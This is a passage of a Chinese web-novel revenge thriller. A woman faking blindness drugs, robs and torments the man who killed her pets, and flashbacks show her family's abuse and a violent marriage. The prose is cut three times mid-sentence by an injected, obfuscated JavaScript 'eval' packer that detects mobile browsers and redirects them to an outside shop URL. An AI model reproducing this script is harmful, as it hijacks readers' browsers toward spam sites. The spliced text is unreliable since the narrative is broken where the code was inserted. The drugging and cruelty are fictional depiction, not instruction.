隔着一道门,他听到了盲杖敲击的声音。片刻后,夏禧打开了门,那只蠢笨的金毛就站在她身后,龇牙咧嘴地朝他低鸣。房间中央,是那个脏兮兮的二手婴儿床。隔着一层纱帘,他看不真切,只能听见刺耳的婴儿哭声从里面传出。 “对不起,对不起……我一直在哄,但是孩子不知怎么就是一直在哭。” “你家孩子天天晚上都哭,我就是铁打的也受不了!我不管你做什么,你必须管好你的孩子。要是管不好,你就搬出去自己整租一个吧,别影响别人!” 他还想说些更刺人的话,但夏禧那双无神的眼睛,在他话音未落的时候,毫无征兆地砸下了两颗泪珠。 蔡岛嘉被吓了一跳,后面的话卡在了喉咙眼里,不上不下。 “对不起你,小蔡,我知道你这些天都没有睡好,我也没有睡好啊,一躺下孩子就哭闹,明明吃也吃了,喝也喝了,尿布也是干净的——但就是哭。”她低下头,用另一只手抹着越来越多的泪水。 蔡岛嘉脸上的表情越来越不耐烦,他不是来做情绪垃圾桶的,他也丝毫不关心夏禧的情况。 “我不管这些,你……” 夏禧抽噎了一声,加快了语速,打断了蔡岛嘉的话。 “我也想搬出去住,我也不想影响你们,但我前夫三个月没打抚养费了,我现在是一分钱掰成两半花,除了孩子的奶粉尿片外,什么都不敢买。连衣服,都是去垃圾站捡的。真的对不住你,小蔡,有办法我早就想了,但就是没办法——有时候我都想带着孩子一了百了了……” “一了百了”这个词,迅速刺破了蔡岛嘉的无动于衷。 她可以死,但不能死在这里。她如果死在这里,引来警察,他的钱就会有危险。 “算了算了……我也就是抱怨几句,你别往心里去。”他挤出安慰的神情,不情不愿地说,“孩子这个年纪爱哭是正常的,你也不容易。以后我不说了。” 夏禧还在哭哭啼啼,向他抱怨那不负责任、狠心绝情的前夫,蔡岛嘉被迫听她倒了几分钟的苦水,才因为她要回去哄孩子,好不容易解脱出来。 真他妈晦气。 夏禧关上门后,蔡岛嘉憋着一肚子火,一脚踢向墙边的塑料置物架。劣质的置物架险些就此散架,眼看着上面的杂物都要倾泻下来,蔡岛嘉一个箭步冲上去,扶住了快要散架的东西。 连架子都在跟他作对! 他很想一走了之,但想到此举会让何阿婆像闻到血味的鲨鱼那般赶来,只能咬牙切齿地捡起掉落的杂物重新塞回摇摇晃晃的置物架。 做完这一切,他终于回到房间,拿起一瓶已经喝了一半的2L装雪碧猛灌了几口,把身体摔向那塌陷了一半的席梦思,再一次赌咒发誓:拿出墙后的钱,他当天就走。一分一秒,都绝不耽搁。 隔壁,啼哭声终于停了。 夏禧松了口气,从婴儿床边站直了身体。笨笨仰头看着她,关注着她的一举一动。 “好了,妈妈去上个厕所,回来我们就睡觉。不许再闹了哦。”夏禧轻声说,拿起盲杖,慢慢走出了房间。 笨笨趴在地垫上,乖乖地等着。 客厅里空无一人,一枚绿色的弹力球静静地躺在路中央。那是从塑料架子上掉落,却没有被放回架子的遗留之物。 杖声一下一下敲落,和地面回响,那枚弹力球静静伏着,像一颗等待被碾碎的心脏。就在要踏中的瞬间,她跨出的右脚像被无形的线牵住,抬起、跨过,把危险留在了背后。 也许是睡得迟的缘故,蔡岛嘉的这一觉睡得格外长。第二天醒来的时候,空调仍在运转,但刺眼的太阳已经穿透了薄薄的窗帘,将他的房间变成一个正在升温的蒸炉。 他抓起手机看了一眼,一点过五分。他错过了午餐时间,看来何阿婆的新铜钟并不怎么好用。 那馊饭不吃也罢。 蔡岛嘉不慌不忙地下了床,习惯性地将手探进床底。触到的却是空空的地面。他呼吸一窒,不敢置信地反复摸了几下,动作越来越急,连灰尘都搓成了团。最后,他整个人索性都伏了下去,脸几乎嵌进地板里,一双充血的眼睛死死望向床底。 没了。 床板下空空如也。 他冲出房间来到厕所,甩上门,检查墙后——钱还在不在。 贴着透明胶的白瓷背后,至少四个黑色防水袋仍被困在水泥之中。 蔡岛嘉长长吐出一口气。但这股安心只停留了刹那,心口又骤然一缩——他没有惊动任何人,悄无声息地回到了他的房间,趴在地上,再次往里看去。 他的钱没有了。 不是他的幻觉,不是没睡醒的误会,有人趁他昨晚睡着,偷走了他的钱。 他盯着那原本存放黑色防水袋,如今却空空如也的角落,太阳穴一阵阵鼓胀,牙关咬得咯咯作响——怒火像火舌一样从胸口往上窜。 报警?不,他不能报警,他没有办法解释钱的由来。 不幸中的万幸是,墙后的钱还在。他必须冷静下来,找出那个偷走他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727991|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱的人。这不仅关系着五万美金,还关系着墙后的钱是否安全。 他从地上爬了起来,坐在床上,绞尽脑汁地思考谁有可能拿走他的钱。 何阿婆一家。显而易见,他们一定有他房间的备用钥匙。但他们怎么知道他床下有钱?是什么时候暴露的? 等等——还有一种可能。 他想起几天前的一幕,夏禧站在床前,告诉他“你门没锁,我敲门没反应,就进来了”。 他分明记得,那一晚锁上了房门。 …… 蔡岛嘉在房间里枯坐了一个下午,当何阿婆的铜钟震耳欲聋地响起后,他揉了揉僵硬的膝盖,起身往楼下走去。他把情绪藏进平静的表情里,甚至在夏禧下楼时,帮忙扶了一把。 晚上,他躺在床上,却丝毫没有睡意。空洞的双眼盯着泛黄的天花板,一动不动地迎来了天明。 七点整,隔壁准时响起了起床遛狗的响动。过了十几分钟,门开了,夏禧的盲杖声音,和那只蠢狗清晰的脚步声,在三楼客厅里响起,伴随着下楼梯的动静,越来越遥远,越来越模糊。 几天下来,他已经摸清楚了这栋楼里其他人的生活作息:夏禧每天早上都会出去遛狗,何阿婆要跳广场舞,何序夫妇除了吃饭几乎都赖在房间,何阿公每晚只要不下雨就会带着象棋去公园找老棋友。 蔡岛嘉爬了起来,将窗户推开一条缝,冷眼看着夏禧牵着笨笨走出了小院,他立即穿上了塑料拖鞋,开门而出。 站在夏禧紧闭的房门前,他拿出了自己的房间钥匙。为了验证心中的猜想,他将钥匙插入了锁孔,缓缓转动——咔嚓一声,门开了。 一股强烈的愤怒和荒谬,席卷了蔡岛嘉的身体。 “你租的是厕所斜对门那间,别走错房间。” 入住第一天,何阿婆的提醒仿佛还在耳边。蔡岛嘉一直以为那是一句没有任何意义的无心之言,没想到这背后代表的却是一个可怕的事实——钥匙都是一样的,所以,别走错房间。 蔡岛嘉压住怒火,屏着呼吸推开房门,门轴发出细小的吱呀声,在清晨里被无限放大。他脚下的地板吱吱作响,每一步都像是踩进了某种柔软的陷阱。 房间里依旧是他之前见到的布置,屋里还挂着昨夜的冷气,湿黏得像很久没开窗。生活用品凌乱地堆在墙角唯一的书桌上,椅背上搭着夏禧昨天穿的那身衣服,窗台上放着一个红色的八音盒,穿芭蕾舞服的小女孩微笑着站在台上。 蔡岛嘉先是弯腰看了眼床底,没有发现。 他转而拉开抽屉,掀开柜门,翻找的动作克制又急切,同时两只耳朵聚精会神地倾听着楼下的动静,以防有人忽然到来。他的手一边翻动柜子,一边止不住地出汗,每一个柜门的哐当声都让他心头一抖。 没有。没有。他的钱,哪里都没有。 蔡岛嘉心里那股火越烧越旺,却被浓稠的窒息感压着,像堵墙一样。 他的眼睛在晨光里一点点偏向窗边的婴儿床,牙关一点点咬紧。那张本应天真的小床,在他眼里却化成夏禧虚伪的脸,恨意像血一样往上涌。 他一步一步走了过去,房间里只剩下他的呼吸声,粗重、急促,像野兽扑上前的前奏。 随着距离的拉近,他终于看到了婴儿床内部的景象。 空的。 不——比那更无法理解,也更毛骨悚然。 婴儿床里没有婴儿,只有三个空了的猫罐头、一个残留着动物咬痕的塑胶骨头。还有一个红色的毛线颈圈,两颗指甲盖大小的金色铃铛。 他想后退,可脚像钉在地板上般动弹不得,冷意一寸寸爬上脊背。 就在这时,一阵尖锐的婴儿哭声从身后响了起来。 他像卡住的齿轮,缓慢而僵硬地转头看去。 哭声不在床上,在枕边的一部手机里。 蔡岛嘉的表情先是茫然,再是难以置信,最后是恐惧。 在极度恐惧和冲击之下,他慌张后退了一步。后腰撞上窗台上的八音盒。一阵细碎的金属振动响起,簧片打着颤,一首变了调的《梦中的婚礼》,像从墙缝里爬出,忽高忽低地刮过耳膜。八音盒中,小女孩翩翩起舞,光在她空洞的眼窝里一闪一灭,像两点冷火。 “何阿婆,您有空吗?又要麻烦您帮我兑个奶粉了……” 夏禧的声音模模糊糊地从楼下响起,与之而来的还有何阿婆不耐烦的抱怨。 这来自现实的声音拯救了身处地狱的他,他猛地后退,几乎绊到门槛,跌跌撞撞回了房。 过了一会,夏禧拄着盲杖,牵着导盲犬笨笨走上了三楼。她摸索着把钥匙插进门孔,却没听到预期的“咔嗒”。她顿了顿,收起钥匙直接打开了房门。 笨笨一如既往地径直走到自己的地垫上趴下。 她关上门,将盲杖放到床边,缓缓走到了窗台前。 小女孩仍在跳舞,断断续续的《梦中的婚礼》回荡在寂静的空间里。 她把墨镜推到发顶,抬手合上盒盖,“啪嗒”一声—— 房间只余她的呼吸。 11. 第 11 章 房间里顿时空旷,连心跳都被放大。夏禧轻轻坐到床边,八音盒躺在膝上,掉漆处像一瓣干花。她重新拨动齿轮。旋律再次响起,《梦中的婚礼》在空气里轻轻铺展,像一条旧日的白纱被重新展开,斑驳却仍闪烁着洁净的光。 舞裙女孩缓缓旋转,裙摆轻摆,被困在无尽的圆圈中。 夏禧的目光随那舞步一圈一圈旋转,似乎要把岁月剥蚀的斑痕一点点抹平。褪色的芭蕾舞裙渐渐泛起光泽,掉落的白漆重新铺满双臂。旋转中,那舞者像被光一点点拾起,残败的边角被抚平,漆黑的裂缝被缝合。破旧的木偶化作一朵重新盛放的花,在她的注视下缓缓舒展。 1979年的5月9日。 六岁的她趴在水迹斑驳的玻璃上,肉嘟嘟的小脸被压成一个歪歪扭扭的圆饼。她咧着嘴,呼吸在玻璃上氤氲成一片雾气,眼睛却牢牢黏在那只红色心型八音盒上,仿佛怕它会逃走。 店铺门上的风铃忽响,妈妈左手牵着姐姐,右手牵着弟弟,快步走出了商店。左手腕上挂着一只透明塑料袋,里面是刚买的新玩具,盒面上印着一辆亮黄色的大卡车。 “还看什么?走啦,别磨蹭!”妈妈走了两步,见她没跟上来,转身冲她喊道。 她依然趴在玻璃上不动,两眼闪着渴望的光,但语气却是小心翼翼的:“妈妈,可以给我买这个吗?这个好可爱啊……” “可爱的东西多了!家里哪有钱买那种东西!”妈妈看也不看,断然说道,“快点!再磨蹭不要你了!” 姐姐松开妈妈的手,来到她身后,粗暴地推搡着她往前走去,弟弟仍紧紧牵着妈妈的手,目光盯着她,露着幸灾乐祸的笑容。 那一刻,她鼓起勇气说道:“可是弟弟的玩具每个月都有新的,姐姐新年的时候也会有新衣服,而我什么都没有,什么都是旧的,我真的很想要这个八音盒,求你了,妈妈——” “那你去做别人家的小孩吧!我养不起你这个白眼狼!” 妈妈拉着弟弟转身就走,姐姐连忙追了上去,剩下她,愣在原地,看着妈妈的背影越走越远,这才回过神来,哭喊着追了上去。 “妈妈!妈妈!” 那个背影,一次都没有回头。 1993年的9月20日。 外嫁的姐姐带着一脸麻木和倦意,抱着一个不停哭闹的小孩,特意从夫家赶回。 他们坐沙发上,二十岁的她跪在地上,眼睛哭得像金鱼。 “大家都是这么过来的,怎么就你要特殊一点?那小张为人老实,脚踏实地,大家知根知底的,他以后不敢欺负你,这有什么不好?” “可他比我大十五岁啊!”她哭喊着说。 “年纪大的男人才知道疼人,年轻有什么好的!”妈妈面无表情,手中的两根毛线针飞快地翻飞。 “妹妹从小就有自己的想法,到了结婚也是。”姐姐讽刺道,“你从小就爱跟我比,现在怎么不和我比了?爸妈给我找的男人,我可是什么都没说就嫁了。” “你姐姐从小就懂事,不像你!”爸爸说,“你是我生的,难道我还会害你?这小张家里在市里开超市,他妈手上那么一个金镯子你看不看见?你嫁过去只有好日子,没有苦吃的!” “我不嫁!我不嫁,求你了,爸妈——我什么都听你们的,我不想嫁人——” “你不嫁你弟弟怎么娶媳妇?!”爸爸勃然大怒,踢开茶几就向她走来,她下意识蜷缩在地上,仍被他抓着头发提了起来,“你别敬酒不吃吃罚酒,这五千块彩礼我已经收了,我是你老子,你的婚事只有我说了才算!” 弟弟一个字都没说,他就坐在沙发上,身强体壮、精神焕发,嘴角挂着一缕高高在上的微笑。 她像疯了那样又哭又叫,不顾头发被抓在手里,站了起来就想逃。挣扎间,她不小心推倒了爸爸,他跌在电视机上,怒瞪着夺门而逃的夏禧: “你今天踏出这个门,你就别回来了!我就当没你这个女儿!” 她的脚步在门槛处停顿了一下,在习惯性的恐惧中,她回头望向她的家人。泪水模糊了他们的五官,只留下被冒犯的表情。他们有没有对自己笑过呢,一定有过,但她已记不太清了。 父亲是忙碌的卡车司机,一个月里二十八天都不在家。母亲是烦躁的家庭主妇,时间被无尽的家务切割成一个个碎片。姐姐是妈妈的影子,把忍耐与麻木当成一种勋章,弟弟是家里唯一的未来,弟弟被安置在车上,向前的路对他来说轻轻晃动;她却被套上缰绳,血肉是拉车的动力。 不爱她的话,为什么要把她生下来? 比不知道答案更残酷的,是她知道答案。 泪水终于完全淹没了他们的模样,她转过身,在爸爸的怒吼声中,飞奔着跑出了门。 没有人来追她,一分钟不到,身后就响起了震耳欲聋的摔门声。 那个冰冷的家,也是她唯一的家,在那一天,对她彻底锁上了门。 1995年的12月20日。 冰窟般的小出租屋内,贴满喜字。刚刚新婚的她,和年纪相仿的丈夫裹着同一条围巾,亲昵地靠在铺着喜被的木床上。在她手上,是刚从礼物盒里拆出来的一个红色心型八音盒。 她期待地转动齿轮,片刻后,芭蕾小女孩开始跳舞,悦耳动听的音乐声从机器里流淌而出。 “真好听,这是什么歌呀?”她抬起冻得通红的脸,双眼亮得像十几岁的小女孩。 “售货员说是叫《梦中的婚礼》,好像是很有名的曲子。”丈夫笑着说,“我今天路过商店,一看到它,就想起你跟我说过小时候的事情。” “那你就给我买啦?一定很贵吧?” “还好,这个月我早点起床,把公交钱省下来就够了。” 她看了他好久,久到她自信能将这一刻的他永远记在脑海里,才挽住丈夫的手,把脸颊紧紧贴向他的臂膀。 “……谢谢你。”她含着眼泪,但脸上的笑容从未如此灿烂。 那是她人生中最温暖的一个冬天。 她以为找到家了。 殊不知,踏入的却是另一个地狱。 1995到1998年,在那无比漫长的三年里,她遭受多次家暴,一次流产。 她怎么也想不通,一个会在吃羊肉串时,特意咬断锐利的尖端再递给她,冬天把她的双手握在一起哈气,记得她童年时最深的遗憾,并在新婚时特意补偿的男人,为什么会在她怀孕时□□,为什么会在被发现后,恼羞成怒将她推倒在地,为什么会在跪着哭求她的原谅后,一次又一次地重蹈覆辙。 是她从一开始就信错了人吗?还是某个节点,他忽然变成了如今的模样? 在最后一次怀孕后,她对丈夫提出了离婚。 那个曾经一脸腼腆地站在厂房楼下,苦等她两个小时,只为将一束野花送给她的男人,在暴怒之下又一次对她大打出手。 零下十度,夏禧穿着单薄的衣服,带着满身伤痕逃出家门,她不知道能去哪里,回过神来,已经站在那扇熟悉又陌生的家门前。 她敲响了门,哭着恳求爸妈收留她和她的孩子。 她听到门内传来低声谈话和脚步走动的声音,但并没有人来给她开门,直到她再次敲门,门里才传来趿拉着拖鞋,不慌不忙走近的脚步声。 刷地一声,门上的小通风窗被拉开了。 一双满是皱纹的吊梢眼出现在背后,他轻蔑的目光在她脸上的血迹上扫了一眼,眼部肌肉明显抽动了一下,似乎在笑。 “谁让你不听我们的,活该。”爸爸说。 小通风窗在她眼前关上了。脚步声再次走远了,电视声则忽然大了起来,足以掩盖她接下来的所有叫喊。 但她没有喊叫。 她只是呆呆站在原地。 丈夫后来在她家楼下找到了她,一耳光摔在她脸上,想要强行带她回家。被拒绝后,对她拳打脚踢,拖曳着她在地上滑行。她惨叫着,但围观路人,没有人敢上来帮她。余光中,她看到了自家阳台上,弟弟好整以暇的面孔。 她一个晃神,被丈夫一脚踢中肚子,很快就血流成河。 这是她最后一次怀孕,也是最后一次流产。 “你以后怀孕的机会会比较小,需要做好心理准备。”医生说。 1999年的4月11日,那张离婚证终于落在她手中,宣告着她对“家”的最后一丝幻想化为灰烬。 那一晚,她拎回一箱啤酒,在一间五块钱一晚的廉价旅馆里,第一次把自己灌得酩酊大醉。 她解脱了。 二十六岁的她不再渴求被爱,也决定不再爱人。她对所谓的高等动物充满恐惧,她选择做一棵沉默的树,自由的鸟,吃了就睡的猪。不再有过去,不再有未来,唯一的期望,就是过好每一个当下。 此后五年,她靠捡破烂买了一辆二手三轮车,吃住都在三轮车上,一边捡破烂,一边唱歌卖艺,如此养活自己。她捡各种稀奇古怪的衣服穿,在黑色礼帽上插白色鸭毛,像一只模仿人类的猴,在地下通道、天桥廊下、滨江路上,售卖她的滑稽可笑。 有一条上了年纪的流浪老狗,瘦骨嶙峋,黄色的毛发粗乱泛白,眼睛浑浊却仍带着警惕。自从被她随手扔过一节火腿肠后,每天都会在她卖唱的时候,无声地出现在角落陪伴。 两个月后,她收留了它,取名为“平平”。 后来,她又收留了一只有严重皮肤病的蓝猫“安安”,一只发病的折耳猫“乐乐”。 小小的三轮车,是她们遮风避雨的乌托邦。 她的日子依然过得清贫,但发呆的日子、被梦魇折磨的夜晚越来越少,她不再孤独,不再因旧伤困扰。她用尽浑身力气地爱着自己的“孩子”,也被它们所爱。 2004年4月3日,她用积攒多年的钱,付了首付,在老小区买下一套底楼的小房子,还带着一个巴掌大的小院。 搬进新家的那一天,她亲手给孩子们做了一个胡萝卜蛋糕。 她一块,孩子们一块。 夜晚,她躺在散发着陈旧霉味的被褥上,平平睡在脚下,安安蜷缩在她头边,乐乐则被她抱在怀里按摩,以纾解发病的疼痛。 “以后日子会越来越好的,无论发生什么事,妈妈都不会抛弃你们。”她举起乐乐,脸上露着母性的温柔,“只要我们四个在一起,就是平安喜乐。” 此后数日,她每天开着破三轮去城市边缘的竹林,砍伐野生的竹子,再用破三轮一摇一晃地拉回来,在院子里竖起高高的“围墙”;从工地上赔着笑脸,捡回一小桶别人用剩的粉色油漆,把整个小院墙壁粉刷一新;再将亲手制作,或者捡回还能用的宠物玩具,精心摆好位置。 那片荒芜的小院,在她的一砖一瓦改造下,变成了孩子们的乐园。 那时候,她胸中的幸福多到几乎要满溢出来,以为自己身处天堂。 两个月后,她却在天堂里见到了恶魔。 二十几岁的青年蹲在在草丛里,掌心紧绷着一把弹弓,弓上搭的不是石子,而是一支铁制箭头,倒钩在阳光下闪着冷意。被那枚铁箭头瞄准的,是不远处一只在石凳上晒太阳的三花猫。 “你在干什么?!”她震怒着大步走了过去。 青年初时被她的声音吓了一跳,但看见她的模样后,脸上的心虚害怕被不屑取代。他慢吞吞地站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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粉色的墙皮很快被风吹雨打,褪成斑驳的灰。竹竿一根根倾倒,空隙间钻出一丛丛野草。玩具散落在角落,玩偶的眼珠掉落,塑料骨头被雨水泡得发白。这个小院一点点回到它原本的沉寂,曾经的温柔只剩残影。 2008年6月19日,她在命运的安排下,再一次见到了那个青年。 繁华喧闹的商业街地下通道门口,她抱着一个走音的烂吉他,木然地唱着民谣,一辆黄色出租车在对面的路口缓缓停下,司机摇下车窗,探头吐出口香糖。 她麻木的歌声戛然而止。周围的听众都不解地看着她,而她浑然不觉,所有注意力都在那个男人身上。 四年了。他从一个青年长成了男人。那张脸完全称得上平凡无奇,扔进大街就会像水消融于水,但他即便是烧成了灰,她也认得他的模样。 因为是他让她重新做回了人。 树、鸟、猪都不知道憎恨的滋味。而人会。人会十年如一日地反刍那股痛苦和憎恨,化为支撑生命的全部意义。 她没有尖叫,也没有立即冲过去将他从车上拖下来。 她只是记下了车牌号。 之后数日,她顺藤摸瓜,从出租车公司那里知道了他的名字、年龄、家庭住址。她没有轻举妄动,因为她还在等,等他露出心房最深处的东西,才能像他当初摧毁她的世界一样,十倍还之的摧毁他的世界。 7月的11/12/13日,她戴着墨镜,乔装打扮后跟踪蔡岛嘉,目睹他一次又一次地来到八里村的一栋自建楼前。 她假装自己是来看房的租客,从房东何阿婆口中,得知蔡岛嘉想要租下整个三楼后,立即交付定金,租下了三楼最大的房间。 14日,她将行李搬入自建楼,带着“导盲犬”笨笨在一楼与蔡岛嘉打了招呼。他并没有认出她来,丝毫没有意识到站在他面前的,是他杀害的三个孩子的母亲。这令她既松了口气,又感到更加的憎恨。 当天凌晨,她故意播放了婴儿的夜哭录音。她不知道蔡岛嘉住进这里的理由,也不在乎,无论他想要什么,她都会夺走,然后摧毁,在那之前,想方设法地给予一些精神折磨,是她仅有的乐趣。 15日深夜,蔡岛嘉鬼鬼祟祟下楼后不久,她就跟着出门了。她看着他在房子里找来找去,最后进了三楼厕所,一呆就是快一个小时。 在他开门走出前,她先一步关上了房间的门。用婴儿哭声再次折磨过他后,她来到厕所,一眼就看到了那块被不干胶贴起来固定的白瓷。 取下白瓷后,她知道了他来这里的目的,也知道了自己的最终目的。 夺走蔡岛嘉的心爱之物,毁灭他的全部希望。无论那是什么。 17日清晨,她帮何阿婆传话时,第一次用自己的房间钥匙打开了蔡岛嘉的房门,确认了卧室房间通用的事实。 19日下午,夏禧趁蔡岛嘉外出的时候,在他已开封的大瓶雪碧里倒入褪黑素胶囊里的药粉。 当天夜深后,蔡岛嘉因夜哭来拍响她的房门,她拉着他大倒苦水,“透露”轻生欲望,为的就是看他哑巴吃黄连,不得不反过来鼓励她“坚强生活”的可笑模样。 当蔡岛嘉回到隔壁两小时后,她又一次播放了夜哭录音。 她把耳朵贴在墙壁,等待。隔壁死一般的寂静,没有翻身声,没有咳嗽声。她轻轻推开蔡岛嘉的房门,冷气扑面而来。床边伏着一片黑暗,她俯下身,手指在灰尘中摸索,直到抓住那只防水袋,沉甸甸地从床底拉出。 她想象着明天一早蔡岛嘉的表情,不禁露出了真正的笑容。 她的世界早已崩塌,而蔡岛嘉的,才刚刚开始。 12. 第 12 章 “咚咚咚——” 铜钟被敲得连连颤响,声音干脆急促,就像厨房里锅铲胡乱拍在铁锅上,催人快点出来吃饭。 夏禧起身将八音盒轻轻放回窗边,戴上她的墨镜,蹲下身摸了摸笨笨的头,柔声说:“妈妈去吃饭啰,乖乖等着。” 笨笨睁着乌黑圆润的大眼睛看着她。 笨笨是她决定搬入自建楼后,临时收养的狗。她问了好几个流浪动物救助基地,找到了笨笨——一只被虐待后遗弃街头,后被救助的六岁金毛犬。虽然伤已治好,但因为年纪大了,始终没有找到愿意领养它的人家。 那天,她蹲在笨笨面前,捧起它的头颅。它曾被人类深深伤害,命悬一线,但再次被人类触碰,尾巴依然在身后拼命晃动。 “你大概是在等我。”她对它说,“妈妈来接你回家了。” 从那一天起,笨笨是她复仇路上唯一的盟友,也是她仅剩的亲人。 夏禧拿上盲杖,开门走出。几乎是前后脚的工夫,隔壁房门也打开了,蔡岛嘉弓着背走出,即便是隔着一个墨镜,她也能看出他面色难看。 “小蔡,你醒了呀?”她停下脚步,微笑缓缓爬上嘴角,“今天不知道吃什么呢?好期待啊。” 蔡岛嘉的眼神逼视着那副墨镜,仿佛要穿透镜片看见里面的秘密。可最终,他只是铁青着脸,一言不发先下了楼。 他的脚步闷沉,踩在老旧的木梯上发出刺耳的吱呀声,仿佛随时会断裂。怒气随着每一下踏落,被逼进狭窄的楼道。 一楼,何阿公正在客厅里看午间新闻,何阿婆的身影在厨房忙碌,其他人还未出现。 蔡岛嘉进入厨房,盯着何阿婆的背影,强压怒火道:“何阿婆,我的钱丢了,一试才知道,卧室门的钥匙是通用的!这事你打算怎么解决?” “钱丢了,多少钱丢了?”何阿婆转过一半的身体,锅铲还放在锅里,斜睨着他,就像在说“你还能有钱能被偷?” “……反正不少!我的全部身家!” “那你报警吧,让警察上门排查。”何阿婆毫不犹豫道。 见她又要转身,就这样将自己一脚踢开,蔡岛嘉忍无可忍,怒声道:“这不都是你用同一把钥匙的原因吗?!我丢钱有七成责任都在你!” “放你爹的屁!”何阿婆摔下锅铲,一把拧灭了灶上的火,转身对他怒目而视,“老子的所有卧室都是一把锁,怎么了?老子当初也没想过要把三楼租出去,谁家里一个卧室一把锁?裤腰带上挂一串锁日龙日宝的你觉得洋气嗦?” 蔡岛嘉被她吼得一愣,忘了自己接下来兴师问罪的台词。 “还钱不少,究竟有好不少嘛?你狗日现在兜里能有五百块,老子跟你姓!不要在我面前哇哇叫!”她呵道,“我就是那句话,有东西被偷了,好,你报警,我们配合调查。你不就是想说,是老子跟你偷的吗,你这个龟孙——” “不是,我不是那个意思……”蔡岛嘉的气焰像火柴,被何阿婆的一口唾沫熄灭了,“我当然不觉得是你偷的,可是……” “别他妈可是!要报警就报警,别挡老子出菜的路!”何阿婆不耐烦地把他推搡出厨房。 “怎么了,小蔡?出什么事了?”何阿公听闻厨房里的动静,不知何时走到了厨房门口。 夏禧也拄着盲杖,慢慢走到了一楼。 “发生什么事了?我在二楼都听到何阿婆的声音了。”她笑着说。 “这傻蛋东西丢了!”何阿婆不耐烦地说,“想甩锅到老子头上!” 蔡岛嘉胸口像塞了块火炭,燎得他想破口大骂,可何阿婆的气势让他心里一哆嗦。火气卡在喉咙口,只能讪讪道: “不是的,何阿婆,你冷静一下……” “老子冷静得很!”何阿婆说,转身回了厨房出菜。 “怎么了?”何序的声音从楼梯处传来,他和徐朝颜相继下楼,最后才是蹦蹦跳跳的朵朵。 “小蔡好像丢东西了。”何阿公说。 “啊?丢什么了?”徐朝颜瞪大眼睛,何序和朵朵也惊讶地看着他。 在几人的目光注视中,蔡岛嘉涨红了脸,挤出一句“……算了”,推开众人逃回了三楼。 他关上门,狠狠往床上一坐,胸口像压了块石头。 床下空空,他知道自己被耍了。 没有孩子,从来就没有。那张婴儿床不过是个道具,夜里撕心裂肺的哭声只是录音在循环播放。至于她的墨镜、盲杖——十有八九也是一场表演。 夏禧……这女人根本不是一个可怜的瞎子,而是精心织好的陷阱。她所做的一切,一定也是为了墙里那笔被水泥禁锢的钱。 她和他一样,知道这笔钱的存在却动不了。 因为谁先动手,谁就要暴露。 钱还在那里,静静睡着。但他明白,那并非安稳,而是暴风雨前的死寂。 夏禧同样盯着那堵墙,只等机会伸手。 他不能被动下去了。 第二天早上,还是夏禧固定出门遛狗的时间,蔡岛嘉坐在床上,听见隔壁有了窸窸窣窣起床的声音。 他拿起刚刚烧开的烧水壶,走到门边站定,等到隔壁有了开门声,他也开门走了出去。 “嗯?小蔡,这么早啊?” 夏禧关上房门,回首看见蔡岛嘉手里的东西时,只一眼,她就猜到了蔡岛嘉想做什么。 她几乎想笑。开水烫伤,连丧子之痛的千分之一都比不上,更何况,她承受的是三份丧子之痛。别说开水了,就算今天他拿刀向她刺来,她也不会挪动一步。 “是啊,今天早点起床,跑个早高峰多挣点钱。”蔡岛嘉说。 “那就祝你今天多跑几单。”夏禧笑道,拄着盲杖,左手牵着笨笨,慢慢向楼梯走去。 在她身后,蔡岛嘉的脚步声重新响起。她微微侧头,从余光中窥视到他拿着开水壶往厕所走去,就在两人即将分道扬镳的时候,蔡岛嘉蹩脚地上演了一出“脚下一滑”,滚烫的开水从壶嘴里泼出,但目标不是夏禧。 是笨笨。 那一刻,她愣住了,眼前空白。紧接着,记忆猝然闯入:笨笨扑到她怀里时摇尾巴的样子,扑腾着要舔她手掌的样子,傻乎乎的眼神里全是依赖。 时间在这一刻被拉得极长,滚烫的水珠在空中一颗颗炸开,蔡岛嘉的嘴角像扭曲的阴影。她在这凝固的瞬间爆发,扑下身去,拽住笨笨,猛力把它拉开。开水砸在盲杖和地砖上,发出尖锐的嘶响。 她抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727993|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨笨,身体因后怕而颤抖,那一刻,她的脑海中浮现出了平平、安安和乐乐在小院里口吐白沫,僵硬冰冷的尸体。 杀意在她身体里沸腾,她只有靠死死抓着怀中的温暖,来克制这股就要熔断理智的冲动。 而罪魁祸首,却发出了一声轻笑。 “你不是看得见么,夏禧?”蔡岛嘉居高临下地俯视着她,脸上的一切假象都消失了,剩下的,只有真实而尖刻的轻蔑。 她慢慢地抬起头来,望着他笑了。 “看得见又怎样?”她松开笨笨的颈圈,站了起来,“我戴着墨镜,说自己眼睛生病看不见,触犯哪条法律了?怎么,你要报警抓我?警察会问你,这个假扮盲人的女人,对你做了什么——” 她的笑容一圈圈绽开,仿佛要将空气都点亮;而蔡岛嘉的表情却暗下去,从游刃有余渐渐硬成一张面具。 “我有对你做什么吗?”她有恃无恐地说。 